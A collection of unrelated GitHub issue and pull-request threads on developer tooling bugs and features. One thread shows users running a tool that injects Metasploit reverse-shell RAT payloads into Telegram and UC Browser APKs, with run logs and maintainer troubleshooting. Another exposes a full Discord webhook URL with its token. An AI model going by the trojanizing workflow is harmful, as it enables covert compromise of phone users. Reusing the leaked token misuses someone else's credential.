error TS2305: Module '"url"' has no exported member 'URLSearchParams'

HI,
We are getting following errors in our dev environments
ERROR in node_modules/@types/node-fetch/index.d.ts(20,10): error TS2305: Module '"url"' has no exported member 'URLSearchParams'.
node_modules/@types/node-fetch/index.d.ts(20,27): error TS2724: Module '"url"' has no exported member 'URL'. Did you mean 'Url'?

Can someone help to fix this bug

Found the root cause to be my @types/node version was "@types/node": "6.0.90",
URLSearchParams is available in Node.js as of v7.5.0.
So hence trying to update the same and see if the project is working now

updating the same to the latest version fixed this issue.
Hence closing the issue.


feat: program.pkg Module to Arc

program.pkg HashMap<String, Vec> -> HashMap<String, Vec<Arc>> .
Reduce the performance loss of module ast clone

1. Does this PR affect any open issues?(Y/N) and add issue references (e.g. "fix #123", "re #123".):

[ ] N
[x] Y  https://github.com/kcl-lang/kcl/issues/1544

Pull Request Test Coverage Report for Build<PHONE_NUMBER>5
Details

63 of 85 (74.12%)  changed or added relevant lines in 15 files are covered.
19 unchanged lines in 5 files lost coverage.
Overall coverage decreased (-0.03%) to 70.509%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

kclvm/query/src/override.rs
0
1
0.0%

kclvm/runner/src/lib.rs
0
1
0.0%

kclvm/sema/src/pre_process/config.rs
8
9
88.89%

kclvm/api/src/service/service_impl.rs
0
4
0.0%

kclvm/ast/src/ast.rs
2
17
11.76%

Files with Coverage Reduction
New Missed Lines
%

kclvm/parser/src/lib.rs
1
96.12%

kclvm/tools/src/LSP/src/tests.rs
1
98.57%

kclvm/tools/src/LSP/src/request.rs
3
64.97%

kclvm/tools/src/LSP/src/state.rs
7
83.86%

kclvm/tools/src/LSP/src/dispatcher.rs
7
65.71%

Totals

Change from base Build<PHONE_NUMBER>0:
-0.03%

Covered Lines:
51781

Relevant Lines:
73439

💛  - Coveralls


Failed to copy RAT smali files

Hi I'm having problem using this tool.the original apk in the backdoor-apk directory
cd /opt/backdoor-apk/backdoor-apk
./backdoor-apk.sh org.telegram.messenger_v3.15.0-8841_Android-4.0.apk
Then it stops at [!] Failed to copy RAT smali files
run.log

@dytra Please share the original APK file.

@dytra I reviewed the run.log file and it appears that you are using an older version of Metasploit framework.
cp: cannot stat '/opt/backdoor-apk/backdoor-apk/payload/smali/com/metasploit/stage/MainService.smali': No such file or directory

Can you update Metasploit and see if the problem goes away?

@dytra I'm going to close this issue out. If you still have problems after updating Metasploit then create a new issue.

Hi @dana-at-cp
i have a problem in using this tool:
[] Merging permissions of original and payload projects...done.
[] Running proguard on RAT APK file...done.
[] Decompiling obfuscated RAT APK file...done.
[] Creating new directories in original project for RAT smali files...done.
[*] Copying RAT smali files to new directories in original project...done.
[!] Failed to copy RAT smali files
in run.log file, i have this error :
mkdir: created directory ‘/root/apk-backdoor/backdoor-apk/backdoor-apk/original/smali/com/vpn01’
mkdir: created directory ‘/root/apk-backdoor/backdoor-apk/backdoor-apk/original/smali/com/vpn01/uniform’
cp: cannot stat ‘/root/apk-backdoor/backdoor-apk/backdoor-apk/payload/smali/com/metasploit/stage/MainBroadcastReceiver.smali’: No such file or directory
Forcing cleanup due to a failure or error state!
please help me,thanks!

i have a same problem like Ehsan-Abbaspour
Generating RAT APK file...done.
[] Decompiling RAT APK file...done.
[] Decompiling original APK file...done.
[] Merging permissions of original and payload projects...done.
[] Running proguard on RAT APK file...done.
[] Decompiling obfuscated RAT APK file...done.
[] Creating new directories in original project for RAT smali files...done.
[*] Copying RAT smali files to new directories in original project...done.
[!] Failed to copy RAT smali files
in run.log
ProGuard, version 5.3.2
Reading program directory [/root/backdoor-apk/backdoor-apk/bin/classes]
Reading program directory [/root/backdoor-apk/backdoor-apk/libs]
Reading library jar [/root/backdoor-apk/backdoor-apk/third-party/android-sdk-linux/platforms/android-25/android.jar]
Preparing output jar [/root/backdoor-apk/backdoor-apk/bin/classes-processed.jar]
Copying resources from program directory [/root/backdoor-apk/backdoor-apk/bin/classes]
Copying resources from program directory [/root/backdoor-apk/backdoor-apk/libs]
I: Using Apktool 2.2.1-dirty on Rat.apk
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
payload_tld is: org
payload_primary_dir is: ws4
payload_sub_dir is: mailsite
mkdir: created directory ‘/root/backdoor-apk/backdoor-apk/original/smali/org/ws4’
mkdir: created directory ‘/root/backdoor-apk/backdoor-apk/original/smali/org/ws4/mailsite’
cp: cannot stat ‘/root/backdoor-apk/backdoor-apk/payload/smali/com/metasploit/stage/MainBroadcastReceiver.smali’: No such file or directory
Forcing cleanup due to a failure or error state!
please help me thnks!!

I have also the same problem
root@kali:~/Desktop/backdoor-apk-master/backdoor-apk# ./backdoor-apk.sh uc_browser.apk
________
/ ______
|| _  _ ||
||| || |||          AAAAAA   PPPPPPP   KKK  KKK
||||||||         AAA  AAA  PPP  PPP  KKK KKK
|| _  o|| (o)     AAA  AAA  PPP  PPP  KKKKKK
||| || |||         AAAAAAAA  PPPPPPPP  KKK KKK
||||||||         AAA  AAA  PPP       KKK  KKK
||||         AAA  AAA  PPP       KKK  KKK
/
________||_____________________________________
/
||            Dana James Traversie
[*] Running backdoor-apk.sh v0.2.2 on Tue Aug  1 18:19:58 EDT 2017
[+] Android payload options:

meterpreter/reverse_http   4) shell/reverse_http
meterpreter/reverse_https  5) shell/reverse_https
meterpreter/reverse_tcp    6) shell/reverse_tcp
[?] Please select an Android payload option: 3
[?] Please enter an LHOST value: <IP_ADDRESS>
[?] Please enter an LPORT value: 4444
[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
[] Generating RAT APK file...done.
[] Decompiling RAT APK file...done.
[] Decompiling original APK file...done.
[] Merging permissions of original and payload projects...done.
[] Running proguard on RAT APK file...done.
[] Decompiling obfuscated RAT APK file...done.
[] Creating new directories in original project for RAT smali files...done.
[] Copying RAT smali files to new directories in original project...done.
[!] Failed to copy RAT smali files

run.log file and original apk file are attached in zipped folder called back.zip
back.zip


Add Bearer scheme in the default Vertex AI Gemini authentication filter

Fixes #825.
CC @geoand

Thanks, I should've noticed it earlier, sorry about that :-)


[RumbleChannel] Improved playlist extraction?

DO NOT REMOVE OR SKIP THE ISSUE TEMPLATE

[X] I understand that I will be blocked if I intentionally remove or skip any mandatory* field

Checklist

[X] I'm requesting a feature unrelated to a specific site
[X] I've looked through the README
[X] I've verified that I have updated yt-dlp to nightly or master (update instructions)
[X] I've searched known issues and the bugtracker for similar issues including closed ones. DO NOT post duplicates
[X] I've read the guidelines for opening an issue

Provide a description that is worded well enough to be understood
Right now I am attempting to download all videos in a two-week interval in November 2022 from a Rumble channel with 25,000 videos the last 3 years.
The routine way of doing this would of course be to issue the command (e.g.
yt-dlp -S res:360 --dateafter 20221106 --datebefore 20221115  https://rumble.com/c/RTNews) and wait for yt-dlp to chug through the playlist, eventually sifting out the matching  several hundred videos and downloading them.
This takes an inordinately long time.
The reason I use yt-dlp is that I am rarely online, so when I am connected I do a compressed process of downloading a huge amount of videos that I will watch until the next time I am able to connect and download more videos. So inordinate time consumption is not what I have time for.
The workaround for this that I have come up with for such very long playlists that are ordered chronologically is to wait for the perhaps 1000 pages of video urls to be grabbed by yt-dlp, and when that is done and the app begins to wade through the list of 25,000 videos to see which ones match my date interval criterion I break the Internet connection while yt-dlp is still working. This causes yt-dlp to slip through its 25,000 item list at a furious pace og perhaps 1,000 videos every 10 seconds.
I then watch the item counter increase until it gets somewhere near where I expect will be a date somewhat close to the desired time interval. So, when I see the counter reach 15,000 I reconnect to the Internet and find that I'm now in April 2023, i.e. only five months away from the wanted videos.
I can now let yt-dlp simply continue to run and finish the job, except this would still take a very long time- So I make a second disconnection and get to December 2022, Now I can easily let the regular process finish the job.
Except, sometimes the reconnection takes longer than expected, and we're now in September 2022.
So this is a hit and miss process. And if I miss I have to start from fresh having to wait first for yt-dlp to download 1,000 pages of video urls and then make a second attempt at slipping through the video counter and hopefully end up at a date that is conveniently close to the designated time interval but hasn't moved beyond it.
So even though it makes it possible for me to download playlist portions that I would otherwise not have time to sit around waiting for, it is cumbersome and very often frustrating, and quite often I fail to grab the videos from this particular playlist in the time I have before I have to go offline again.
WHAT I WANT
is a yt-dlp option for slipping to a particular number, e.g. yt-dlp -sl 19000 playlist_url.
I hope I have explained my wish comprehensibly.
To go with this feature I would like to be able to reuse the list of videos which yt-dlp first gets before starting to churn through the individual videos,
Provide verbose output that clearly demonstrates the problem

[ ] Run your yt-dlp command with -vU flag added (yt-dlp -vU <your command line>)
[ ] If using API, add 'verbose': True to YoutubeDL params instead
[ ] Copy the WHOLE output (starting with [debug] Command-line config) and insert it below

Complete Verbose Output
No response

Another thing that may improve the user experience here is if the channel extractor could return more entry metadata to be available with --flat-playlist, but again, I'm not familiar with the site and don't know if that's actually possible.


Using Swagger for API Documentation

The root api view (/api) currently gives us the default view from Django Rest Framework. Would it be better if we use Swagger, like on vulnerablecode? If yes, I can make that change.

@hanif-ali Before going ahead with that change, could you discuss some benefits of implementing Swagger in place of the current default?

I think that would just provide a nicer formatted documentation for the API

@hanif-ali PR welcome ;)

I like swagger and you could also use the openapi generator 3.0 to automatically generate code for several languages, based on the api specifiation given by the swagger user interface!


'NoneType' error

When the bot is running and receives a tradingview alert, it is giving this error:
'NoneType' object is not subscriptable

Hi,
That is usually a wrong formatted json string. Please send me syntax you pasted into your TradingView alerts dialog.

Hi I think you are right, I noticed { } were missing in my TradingView alert.
This is my current TradingView alert format 👍
{
"key": "AAD231DFEw",
"msg": "Long "
}
and now I am getting  this error :
2021-02-23 15:21:00 Alert Received & Sent!
ERROR:discord_webhook.webhook:[1/1] Webhook status code 404: {"message": "404: Not Found", "code": 0}

Did you set your Discord Webhook in config.py?

yes like this :
Discord Settings
send_discord_alerts = True
discord_webhook     = 'https://discord.com/api/webhooks/811726880858498546/m1D0ONAxbaVsddfHHGn124tgAyrPoERfFHjl3CNmIHaLuC2r4xx3'    # Discord Webhook URL (https://support.discordapp.com/hc/de/articles/228383668-Webhooks-verwenden)

Oh OK. Please do not include:
https://discord.com/api/webhooks/
A valid input would be:
discord_webhook="811726880858498546/m1D0ONAxbaVsddfHHGn124tgAyrPoERfFHjl3CNmIHaLuC2r4xx3"

awesome ,that works ! thank you so much ! :-)


Content Update

👷 Deploy Preview for rattandeep processing.

Name
Link

🔨 Latest commit
e85e507dd92eb6b67c932a8469932fecc2327251

🔍 Latest deploy log
https://app.netlify.com/sites/rattandeep/deploys/64c4c91b98f6580008896697


nix flake show fails

Describe the bug
I use https://github.com/oxalica/nil as a nix LSP server, which is quite practical.
Not sure if my setup or nil changed but recently nil has started freaking out whenever it sees an error in flakes (which lead me to find issues in my own flakes). That includes this repo:
nix flake show github:numtide/treefmt-nix/27107cf3dfdc3c809d2477954d92fc2cc68b4401
├───formatter
│   ├───aarch64-darwin omitted (use '--all-systems' to show)
│   ├───aarch64-linux omitted (use '--all-systems' to show)
│   ├───x86_64-darwin omitted (use '--all-systems' to show)
error:
       … while evaluating the attribute 'checks.x86_64-linux.wrapper'

         at /nix/store/qyyw6dd6lqlhz3cqap31d071cbyh34bf-source/lib/attrsets.nix:484:14:

          483|     value:
          484|     { inherit name value; };
             |              ^
          485|

       error: attribute 'wrapper' missing

       at /nix/store/gzq17ccnn7sbfl08c26hhy9c3vmxfbhv-source/flake.nix:23:9:

           22|       formatter = eachSystem (system:
           23|         self.checks.${system}.wrapper
             |         ^
           24|       );

To Reproduce
Steps to reproduce the behavior:
nix flake show github:numtide/treefmt-nix/27107cf3dfdc3c809d2477954d92fc2cc68b4401
Expected behavior
no error
System information
nixos-unstable
Additional context

thanks!


GPUImageUIElement Update causes appendPixelBuffer to fail intermittently

I am using the GPUImageUIElement to post an image while recording video and GPUImageMovieWriter to write the video. The embedded image is updated periodically (user taps something) via the following code:
[gpuImageUIElement update];

Most of the time this works but randomly fails with "Problem appending pixel buffer at time:" then immediately followed by a bunch of "Couldn't write a frame" messages, producing an unusable video file.
Here is the GPUImageMovieWriter code:
        if (!assetWriterVideoInput.readyForMoreMediaData)
        {
            NSLog(@"2: Had to drop a video frame: %@", CFBridgingRelease(CMTimeCopyDescription(kCFAllocatorDefault, frameTime)));
        }
        else if(self.assetWriter.status == AVAssetWriterStatusWriting)
        {
            if (![assetWriterPixelBufferInput appendPixelBuffer:pixel_buffer withPresentationTime:frameTime])
                NSLog(@"Problem appending pixel buffer at time: %@", CFBridgingRelease(CMTimeCopyDescription(kCFAllocatorDefault, frameTime)));
        }
        else
        {
            NSLog(@"Couldn't write a frame");
            //NSLog(@"Wrote a video frame: %@", CFBridgingRelease(CMTimeCopyDescription(kCFAllocatorDefault, frameTime)));
        }

Any ideas on how to prevent this issue from happening, or even a solution on how to recover from this event? (i.e., why does the AVAssetWriter stop writing after this initial assetWriterPixelBufferInput failure?)
Update: Logged the assetwriter error (self.assetWriter.error.description) which produces the following error descriptions:
Error Domain=AVFoundationErrorDomain Code=-11800 "The operation could not be completed"
UserInfo={NSUnderlyingError=0x15230dd20 {Error Domain=NSOSStatusErrorDomain
Code=-16364 "(null)"}, NSLocalizedFailureReason=An unknown error occurred (-16364),
NSLocalizedDescription=The operation could not be completed}

Update 2: Also, according to the apple documentation "If the operation is unsuccessful, writing the asset has failed. You must not call finishWriting." What are you supposed to do then? At the very least I would like to save the video that has been captured to the point of the error.

Here is the trace at the time of the error. Perhaps it's related to the GPUImageTwoInputFilter:
#0	0x0000000100180e34 in __51-[GPUImageMovieWriter newFrameReadyAtTime:atIndex:]_block_invoke_2 at /GPUImage/framework/Source/iOS/GPUImageMovieWriter.m:811
#1	0x0000000100180af0 in __51-[GPUImageMovieWriter newFrameReadyAtTime:atIndex:]_block_invoke229 at /GPUImage/framework/Source/iOS/GPUImageMovieWriter.m:843
#2	0x0000000100639ca8 in _dispatch_call_block_and_release ()
#3	0x0000000100639c68 in _dispatch_client_callout ()
#4	0x0000000100646780 in _dispatch_queue_drain ()
#5	0x000000010063d958 in _dispatch_queue_invoke ()
#6	0x0000000100639c68 in _dispatch_client_callout ()
#7	0x0000000100648ec8 in _dispatch_root_queue_drain ()
#8	0x0000000100648590 in _dispatch_worker_thread3 ()
#9	0x000000019b8cd470 in _pthread_wqthread ()
Enqueued from com.sunsetlakesoftware.GPUImage.openGLESContextQueue (Thread 3)Queue : com.sunsetlakesoftware.GPUImage.openGLESContextQueue (serial)
#0	0x0000000100647468 in _dispatch_queue_push_queue ()
#1	0x000000010064b2d4 in _dispatch_queue_wakeup_with_qos_slow ()
#2	0x0000000100169b04 in runAsynchronouslyOnContextQueue at /GPUImage/framework/Source/GPUImageOutput.m:92
#3	0x00000001001805a0 in -[GPUImageMovieWriter newFrameReadyAtTime:atIndex:] at /GPUImage/framework/Source/iOS/GPUImageMovieWriter.m:762
#4	0x000000010015bc00 in -[GPUImageFilter informTargetsAboutNewFrameAtTime:] at /GPUImage/framework/Source/GPUImageFilter.m:371
#5	0x000000010015e1dc in -[GPUImageFilter newFrameReadyAtTime:atIndex:] at /GPUImage/framework/Source/GPUImageFilter.m:569
#6	0x000000010019a4a0 in -[GPUImageTwoInputFilter newFrameReadyAtTime:atIndex:] at /GPUImage/framework/Source/GPUImageTwoInputFilter.m:269
#7	0x000000010015bc00 in -[GPUImageFilter informTargetsAboutNewFrameAtTime:] at /GPUImage/framework/Source/GPUImageFilter.m:371
#8	0x0000000100189910 in -[GPUImageCropFilter newFrameReadyAtTime:atIndex:] at /GPUImage/framework/Source/GPUImageCropFilter.m:251
#9	0x00000001001655ac in -[GPUImageVideoCamera updateTargetsForVideoCameraUsingCacheTextureAtWidth:height:time:] at /GPUImage/framework/Source/GPUImageVideoCamera.m:697
#10	0x0000000100165f08 in -[GPUImageVideoCamera processVideoSampleBuffer:] at /GPUImage/framework/Source/GPUImageVideoCamera.m:821
#11	0x0000000100166ad8 in __74-[GPUImageVideoCamera captureOutput:didOutputSampleBuffer:fromConnection:]_block_invoke at /GPUImage/framework/Source/GPUImageVideoCamera.m:990
#12	0x0000000100639ca8 in _dispatch_call_block_and_release ()
#13	0x0000000100639c68 in _dispatch_client_callout ()
#14	0x0000000100646780 in _dispatch_queue_drain ()
#15	0x000000010063d958 in _dispatch_queue_invoke ()
#16	0x0000000100639c68 in _dispatch_client_callout ()
#17	0x0000000100648ec8 in _dispatch_root_queue_drain ()
#18	0x0000000100648590 in _dispatch_worker_thread3 ()
#19	0x000000019b8cd470 in _pthread_wqthread ()
#20	0x000000019b8cd020 in start_wqthread ()
Enqueued from com.apple.avfoundation.videodataoutput.bufferqueue (Thread 8)Queue : com.apple.avfoundation.videodataoutput.bufferqueue (serial)
#0	0x0000000100647468 in _dispatch_queue_push_queue ()
#1	0x000000010064b2d4 in _dispatch_queue_wakeup_with_qos_slow ()
#2	0x0000000100169980 in runAsynchronouslyOnVideoProcessingQueue at /GPUImage/framework/Source/GPUImageOutput.m:53
#3	0x00000001001669e4 in -[GPUImageVideoCamera captureOutput:didOutputSampleBuffer:fromConnection:] at /GPUImage/framework/Source/GPUImageVideoCamera.m:983
#4	0x000000018483ec54 in -[AVCaptureVideoDataOutput _handleRemoteQueueOperation:] ()
#5	0x000000018483eaec in __47-[AVCaptureVideoDataOutput _updateRemoteQueue:]_block_invoke ()
#6	0x0000000186b50174 in __FigRemoteOperationReceiverCreateMessageReceiver_block_invoke ()
#7	0x0000000186b6bf58 in __FigRemoteQueueReceiverSetHandler_block_invoke2 ()
#8	0x0000000100639c68 in _dispatch_client_callout ()
#9	0x000000010065200c in _dispatch_source_latch_and_call ()
#10	0x000000010063c20c in _dispatch_source_invoke ()
#11	0x000000010064699c in _dispatch_queue_drain ()
#12	0x000000010063d958 in _dispatch_queue_invoke ()
#13	0x0000000100648898 in _dispatch_root_queue_drain ()
#14	0x0000000100648590 in _dispatch_worker_thread3 ()
#15	0x000000019b8cd470 in _pthread_wqthread ()
#16	0x000000019b8cd020 in start_wqthread ()

I think I have solved my issue. Once I add the following 3 lines to the GPUImageUIElement updateWithTimestamp method, my issue appears to be resolved.
runAsynchronouslyOnVideoProcessingQueue(^{ // added this line
        for (id<GPUImageInput> currentTarget in targets)
        {
            if (currentTarget != self.targetToIgnoreForUpdates)
            {
                NSInteger indexOfObject = [targets indexOfObject:currentTarget];
                NSInteger textureIndexOfTarget = [[targetTextureIndices objectAtIndex:indexOfObject] integerValue];

                [currentTarget setInputSize:layerPixelSize atIndex:textureIndexOfTarget];
                [currentTarget setInputFramebuffer:outputFramebuffer atIndex:textureIndexOfTarget]; // added this line
                [currentTarget newFrameReadyAtTime:frameTime atIndex:textureIndexOfTarget];
            }
        }
    }); // added this line

Refer to this Issue for other changes that were needed: https://github.com/BradLarson/GPUImage/issues/2021


Clarify Este mission

I hate copywriting, but there is one thing I have to highlight. Este is aimed to be the starter kit for top-notch universal real-time apps for startups. Something like:
Bla! Are you startup? Bla? Do you have an idea your want to develop as soon as possible? Bla, bla? Bla! Use Este. Bla. Thank you.

Another thing that might help is to showcase live apps or other projects that use Este.js so people get a concrete idea of the products being built that use Este


conda install not working?

Hi folks.
I am trying to install sncosmo using the directions and am running into difficulty.  The install seems to work but inside python the import fails.
(gerard) tibia:~ akim$ conda install -c astropy sncosmo
Fetching package metadata ...........
Solving package specifications: ..........
Package plan for installation in environment /Users/akim/anaconda2/envs/gerard:
The following NEW packages will be INSTALLED:
sncosmo: 1.4.0-py27_0 astropy

Proceed ([y]/n)? y
Linking packages ...
[      COMPLETE      ]|###################################################| 100%
(gerard) tibia:~ akim$ ipython
Python 2.7.12 |Anaconda 4.2.0 (x86_64)| (default, Jul  2 2016, 17:43:17)
Type "copyright", "credits" or "license" for more information.
IPython 5.1.0 -- An enhanced Interactive Python.
?         -> Introduction and overview of IPython's features.
%quickref -> Quick reference.
help      -> Python's own help system.
object?   -> Details about 'object', use 'object??' for extra details.
In [1]: import sncosmo
ImportError                               Traceback (most recent call last)
 in ()
----> 1 import sncosmo
ImportError: No module named sncosmo

hmm works ok now.  Cancel


Webhook cert bootsrap single reconcile

What this PR does / why we need it:
In the current implementation of the webhook boot strap controller, it relies on creating empty secrets in order to reconcile over those secrets in the main loop. Creating empty Secrets causes issues further upstream where mounting fails on the webhook pod and therefore can significantly increase the start time.
This PR changes this behavior by manually adding the target secrets at boot time, even though they do not yet exist. The controller is able to either create or update the target Secret, depending on whether it exists. The controller will also only atomically create/update the secret with the private key and signed certificate.
fixes #2537
/assign @munnerz
Improve startup time for webhook pod.

/area deploy

Back to you @munnerz :slightly_smiling_face:

/lgtm


library is incompatible.

Hi,
I have downloaded the or-tools source code of c++ for UBUNTU 16.04 and built it and it generated the libraries.
But when i tried to link that libraries in my project it says incompatible library as below:
skipping incompatible /path to lib/libortools.so when searching for -lortools
cannot find -lortools
collect2: error: ld returned 1 exit status

When I tried to debug i got to know the compiler used in my project is different.
How to make these libraries compatible to my project environment or how to change compiler for the source code and where and what to change?

ubuntu 16.04 we use the default gcc compiler.
You have to rebuild from source try to look at:
https://github.com/google/or-tools/blob/master/makefiles/Makefile.unix.mk#L105

Thank you for the quick response!
After updating my compiler there is make third_party command is sufficient?

That was really helpful. After tweaking the build command for my compiler and disabling the zlib building, i am getting the new error while Linking CXX shared library libprotobuf.so as below:
[ 53%] Generating /home/lat6kor/samba/IntelligentRoutingCode/googleOrTools/ortoolsUbuntu14/or-tools/dependencies/sources/protobuf-3.5.1/src/google/protobuf/compiler/js/well_known_types_embed.cc
./js_embed: 2: ./js_embed: Syntax error: ")" unexpected
CMakeFiles/libprotoc.dir/build.make:64: recipe for target '/home/lat6kor/samba/IntelligentRoutingCode/googleOrTools/ortoolsUbuntu14/or-tools/dependencies/sources/protobuf-3.5.1/src/google/protobuf/compiler/js/well_known_types_embed.cc' failed
make[3]: *** [/home/lat6kor/samba/IntelligentRoutingCode/googleOrTools/ortoolsUbuntu14/or-tools/dependencies/sources/protobuf-3.5.1/src/google/protobuf/compiler/js/well_known_types_embed.cc] Error 2
make[3]: *** Deleting file '/home/lat6kor/samba/IntelligentRoutingCode/googleOrTools/ortoolsUbuntu14/or-tools/dependencies/sources/protobuf-3.5.1/src/google/protobuf/compiler/js/well_known_types_embed.cc'
make[3]: Leaving directory '/home/lat6kor/samba/IntelligentRoutingCode/googleOrTools/ortoolsUbuntu14/or-tools/dependencies/sources/protobuf-3.5.1/build_cmake'
CMakeFiles/Makefile2:147: recipe for target 'CMakeFiles/libprotoc.dir/all' failed
make[2]: *** [CMakeFiles/libprotoc.dir/all] Error 2
make[2]: Leaving directory '/home/lat6kor/samba/IntelligentRoutingCode/googleOrTools/ortoolsUbuntu14/or-tools/dependencies/sources/protobuf-3.5.1/build_cmake'
Makefile:129: recipe for target 'all' failed
make[1]: *** [all] Error 2
make[1]: Leaving directory '/home/lat6kor/samba/IntelligentRoutingCode/googleOrTools/ortoolsUbuntu14/or-tools/dependencies/sources/protobuf-3.5.1/build_cmake'
makefiles/Makefile.third_party.unix.mk:198: recipe for target 'dependencies/install/lib/libprotobuf.so' failed
make: *** [dependencies/install/lib/libprotobuf.so] Error 2
./js_embed: 1: ./js_embed: ELF��@@�N@@: not found
Please provide any clue.

Well cross compiling is not just changing the compiler...
I don't want to be rude, but seriously you should try to first understand how the cross compilation work on Makefile/CMake. e.g. take a look at https://cmake.org/cmake/help/latest/manual/cmake-toolchains.7.html
Here you can found a C++ CMake project cross compiling:
https://github.com/google/cpu_features look at the travis.xml and log on travis to understand how it works.
note: Or-Tools will use this scheme also once I find time to do it...
Here an unfinished CMake C++ Android Ndk/Qt test
https://gitlab.com/Mizux/qtdroid


Fix readme

Github isn't letting me commit to my fork or create a pr so uh yeah
To fix the issue add a space between the # and NoUtilities

Perhaps you have my version of the repo cloned, not your fork.
Anyway, if you select a file you can edit it even in other repositories and if you can't write to it, it will make a fork/pr

I edited the file in this repo and propose changes was grayed out
I tried on my fork too

B


[CELEBORN-1550] Add support of providing custom dynamic store backend implementation

What changes were proposed in this pull request?
Adding support of providing custom dynamic store backend implementation, users can now pass there own implementation for dynamic config store backend.
This change also keep the backwards compatibility of supporting short names for backend like "FS" and "DB"
Why are the changes needed?
Currently celeborn only supports File and DB based backend while there can be other ways of managing these configs.
Does this PR introduce any user-facing change?
NO, user facing behaviour will be same.
How was this patch tested?
Existing UTs verifies that this change is working for "FS" and "DB" implementation.

@s0nskar, why is the implementation not based on SPI?

Should also update doc here https://celeborn.apache.org/docs/latest/developers/configuration/#static-configuration

@AngersZhuuuu Updated the doc.

@s0nskar, ConfigService should introduce getName() interface for short name configuration.

@SteNicholas Added. Q: do you want me to make use of it in this PR?

@s0nskar, the implementation of ConfigService could use getName interface to load the implementation instance instead of hard code in factory.

the implementation of ConfigService could use getName interface to load the implementation instance instead of hard code in factory.
@SteNicholas Trying to understand this comment better – I think for this will have to make getName() static method but abstract static does not work.

The factory approach will also need a lot of abstraction IMO it is not necessary for this as we will only have couple of predefined names. Let me know if you think otherwise then i will try to make it work.

Merging to main(v0.6.0)/branch-0.5(v0.5.2)


fix: error data input for date(CAST(value AS DATETIME)) causing high …

cherry pick #5477 to release-5.4
What problem does this PR solve?
Issue Number: close #5097
Problem Summary:
What is changed and how it works?
Check List
Tests

[ ] Unit test
[ ] Integration test
[ ] Manual test (add detailed scripts or steps below)
[ ] No code

Side effects

[ ] Performance regression: Consumes more CPU
[ ] Performance regression: Consumes more Memory
[ ] Breaking backward compatibility

Documentation

[ ] Affects user behaviors
[ ] Contains syntax changes
[ ] Contains variable changes
[ ] Contains experimental features
[ ] Changes MySQL compatibility

Release note

None

/cc @windtalker @ywqzzy

/merge

/run-all-tests

/run-unit-test

/run-all-tests

/run-all-tests

/run-all-tests

/run-all-tests

/merge


Login and Signup Endpoints

Excellent work! @Mistaweng. The protectedRoute method in the controller functions as a middleware since it checks for the cookie before accessing the database. It would be much less debt if it verifies the access and refresh tokens for protected routes and the login endpoint.

So, true @Taiwopeter-babs, i'll work on modifying it. Thank you


Start & stop commands

This PR contains two things:

It changes the name of the up command to start. It looks like to have some confusion about what the up command is doing, and as it's actually just starting the containers, IMO it should be named like that.
Introduce a stop command that stop the running containers

LGTM (have run it locally).


add Venhancer inference

What does this PR do?
add venhancer inference.

Fixes # (issue)
Adds # (feature)
Before submitting

[ ] This PR fixes a typo or improves the docs (you can dismiss the other checks if that's the case).
[ ] Did you read the contributor guideline?
[ ] Did you make sure to update the documentation with your changes? E.g. record bug fixes or new features in What's New. Here are the
documentation guidelines
[ ] Did you build and run the code without any errors?
[ ] Did you report the running environment (NPU type/MS version) and performance in the doc? (better record it for data loading, model inference, or training tasks)
[ ] Did you write any new necessary tests?

Who can review?
Anyone in the community is free to review the PR once the tests have passed. Feel free to tag
members/contributors who may be interested in your PR.
@xxx

图片不要放代码仓


Ability to create multiple layout/views, each with their own editor grid layout, and toggle between them.

You can already create an editor grid layout. I am suggesting a way to create multiple editor grid layouts that you can toggle between for different files.
For example, say I have a folder open with 5 files and I have 3 of those files open in a 3 column layout.

Now I want to "hide" the 3 open files and open the two other files in another layout.

But then I want to be able to jump back to the 3 open files in the layout they were in.

@vscode-triage-bot Does the upvote need to happen on the first comment (mine) or yours?

The first one.

@yume-chan I made a mistake when I shared the link for what to vote on and so some of the folks voted on the @vscode-triage-bot comment instead of the original one. Between the two of them it has 23 votes. Would that still be okay?

Note that there are several people thumbed up both the issue and the first comment. So technically this issue doesn't have 20 upvotes.


fullsize dataset

Hi
Thanks for the dataset you have already with the public to reproduce the result. Do you have any plan to share the full-size dataset without any down-sample and post-processing?

Thanks for the interest. Due to the sensitive nature of medical imaging, there are a few barriers to open release and this is an ongoing discussion with multiple stakeholders in the university and hospital. In the meantime, please feel free to reach out to the authors if you are associated with a university and can be added to our IRB as part of a collaboration.


HBASE-27317 : Storefiletracking : Rectifying the option for columnfamily as mandatory

This is to rectify the columnfamily argument from optional to mandatory. In the sysout message it is wrongly put as optional parameter but it is actually a mandatory parameter. Also better way to declare as a string and reusing in multiple places.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
0m 29s
Docker mode activated.

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
2m 10s
the patch passed

+1 :green_heart:
compile
2m 14s
the patch passed

+1 :green_heart:
javac
2m 14s
the patch passed

+1 :green_heart:
checkstyle
0m 30s
the patch passed

+1 :green_heart:
whitespace
0m  0s
The patch has no whitespace issues.

+1 :green_heart:
hadoopcheck
7m 53s
Patch does not cause any errors with Hadoop 3.2.4 3.3.4.

+1 :green_heart:
spotless
0m 38s
patch has no errors when running spotless:check.

+1 :green_heart:
spotbugs
1m 25s
hbase-server generated 0 new + 0 unchanged - 1 fixed = 0 total (was 1)

_ Other Tests _

+1 :green_heart:
asflicense
0m 10s
The patch does not generate ASF License warnings.

27m 57s

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hbase.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-4773/1/artifact/yetus-general-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/4773

Optional Tests
dupname asflicense javac spotbugs hadoopcheck hbaseanti spotless checkstyle compile

uname
Linux 5d96f06c6446 5.4.0-109-generic #123-Ubuntu SMP Fri Apr 8 09:10:54 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
master / 793f020e13

Default Java
AdoptOpenJDK-1.8.0_282-b08

spotbugs
https://ci-hbase.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-4773/1/artifact/yetus-general-check/output/branch-spotbugs-hbase-server-warnings.html

Max. process+thread count
64 (vs. ulimit of 30000)

modules
C: hbase-server U: hbase-server

Console output
https://ci-hbase.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-4773/1/console

versions
